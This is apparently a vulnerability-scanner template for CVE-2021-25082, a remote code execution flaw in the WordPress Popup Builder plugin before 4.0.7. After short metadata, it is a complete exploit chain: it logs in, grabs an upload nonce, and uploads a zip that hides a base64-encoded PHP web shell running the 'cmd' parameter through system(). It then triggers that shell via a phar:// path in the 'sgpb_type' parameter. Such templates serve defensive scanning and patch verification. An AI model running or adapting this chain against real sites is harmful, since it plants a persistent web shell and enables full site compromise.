WordPress Popup Builder < 4.0.7 - Remote Code Execution

id: CVE-2021-25082

info:
  name: WordPress Popup Builder < 4.0.7 - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.
  impact: |
    Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.
  remediation: |
    Update to version 4.0.7 or later
  reference:
    - https://wpscan.com/vulnerability/0f90f10c-4b0a-46da-ac1f-aa6a03312132/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25082
  classification:
    cve-id: CVE-2021-25082
    epss-score: 0.05365
    epss-percentile: 0.91676
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 5
  tags: cve,cve2021,wordpress,wp-plugin,rce,popup-builder,authenticated,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(10))}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/upload.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '_wpnonce')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_wpnonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"

        malicious.zip
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="action"

        upload-attachment
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="_wpnonce"

        {{nonce}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="async-upload"; filename="malicious.zip"
        Content-Type: application/zip

        {{base64_decode("UEsDBAoAAAAAAHINkVuOOgt7HwAAAB8AAAAJABwAUG9wdXAucGhwVVQJAAPHCkJpxwpCaXV4CwABBAAAAAAEAAAAADw/cGhwIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/PgpQSwECHgMKAAAAAAByDZFbjjoLex8AAAAfAAAACQAYAAAAAAABAAAApIEAAAAAUG9wdXAucGhwVVQFAAPHCkJpdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEATwAAAGIAAAAAAA==")}}
        ------WebKitFormBoundary{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "success", ".zip")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: upload_year
        group: 1
        internal: true
        regex:
          - 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.zip'

      - type: regex
        name: upload_month
        group: 1
        internal: true
        regex:
          - 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.zip'

  - raw:
      - |
        GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(header, "application/zip")
        condition: and
        internal: true

  - raw:
      - |
        GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "{{marker}}")
        condition: and
# digest: 4b0a004830460221009f9be32c6bdf41c89c3e403ac540b89b879e8ad7ac1ca810500c51232363c952022100da2dfa1fa1d5ea9415c94d3fd69905c9a9e07dded9c548b3703d8b1bb737ad60:922c64590222798bb761d5b6d8e72950